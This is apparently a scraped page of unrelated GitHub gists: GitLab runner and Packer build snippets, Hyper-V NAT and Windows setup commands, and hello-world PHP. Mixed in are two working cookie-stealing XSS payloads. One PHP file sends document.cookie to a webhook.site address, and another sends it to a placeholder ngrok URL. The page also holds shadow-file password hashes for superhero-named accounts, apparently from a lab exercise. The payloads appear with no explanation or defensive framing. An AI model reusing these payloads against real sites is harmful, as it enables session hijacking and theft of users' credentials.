This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.\gitlab-runner.exe register --non-interactive --url 'https://gitlab.com' --registration-token '' --description 'Transient Windows machine used to build Hyper-V images.' --executor 'shell' --tag-list 'hyperv,windows' --locked=false | |
.\gitlab-runner.exe install | |
.\gitlab-runner.exe start |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
+ /usr/local/bin/packer build -debug UbuntuVM/packer/UbuntuVM.json | |
2019/11/05 16:36:43 [INFO] Packer version: 1.4.4 | |
2019/11/05 16:36:43 Packer Target OS/Arch: linux amd64 | |
2019/11/05 16:36:43 Built with Go Version: go1.13 | |
2019/11/05 16:36:43 Detected home directory from env var: /var/lib/jenkins | |
2019/11/05 16:36:43 Using internal plugin for openstack | |
2019/11/05 16:36:43 Using internal plugin for vmware-iso | |
2019/11/05 16:36:43 Using internal plugin for amazon-ebsvolume | |
2019/11/05 16:36:43 Using internal plugin for jdcloud | |
2019/11/05 16:36:43 Using internal plugin for lxc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create/Configure Internal NAT | |
$Name = "InternalNAT" | |
$IPAddress = 192.168.0.1 | |
$PrefixLength = 24 | |
$ifIndex = (Get-NetAdapter | Where-Object {$_.Name -like "*InternalNat*" }).ifIndex | |
New-VMSwitch -Name $Name -SwitchType Internal | |
New-NetIPAddress -IPAddress $IPAddress -PrefixLength $PrefixLength -InterfaceIndex $ifIndex | |
New-NetNat -Name $Name -InternalIPInterfaceAddressPrefix 192.168.0.0/$PrefixLength |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Start w/ Windows Update | |
Enable-UAC | |
Enable-MicrosoftUpdate | |
Install-WindowsUpdate -AcceptEula | |
# Disable Update/UAC while Configuring | |
Disable-MicrosoftUpdate | |
Disable-UAC | |
# Basic System Configurations |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$html = <<<EOF | |
<script> | |
document.write('<img src="https://webhook.site/9f73f8ac-074d-4a9f-8766-d2807b94b3ad?cookie='+(document.cookie||"none")+'" />'); | |
</script> | |
EOF; | |
echo $html; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>Hello, world.</h1> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$html = <<<EOT | |
<h1>Hello, world.</h1> | |
EOT; | |
echo $html; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
clark:$1$vCQJuDA5$LMfNnEfUOWqGlsw.oZwvU/:17739:0:99999:7::: | |
barry:$1$9/41ELaR$s5x1MSIHQ8Ci1w.Xi2Q9y0:17739:0:99999:7::: | |
bruce:$1$k1Dn6mHP$02qi2NpmPbm.g/UJ5hUL5/:17739:0:99999:7::: | |
wonderwoman:$1$ePQswNon$zfhmpFHe/Hsqh.J8z9mkF.:17739:0:99999:7::: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
clark:x:1003:1003:,,,:/home/clark:/bin/bash | |
barry:x:1004:1004:,,,:/home/barry:/bin/bash | |
bruce:x:1005:1005:,,,:/home/bruce:/bin/bash | |
wonderwoman:x:1006:1006:,,,:/home/wonderwoman:/bin/bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
document.write('<img src="[YOUR Ngrok URL]?c='+document.cookie+'" />'); | |
</script> |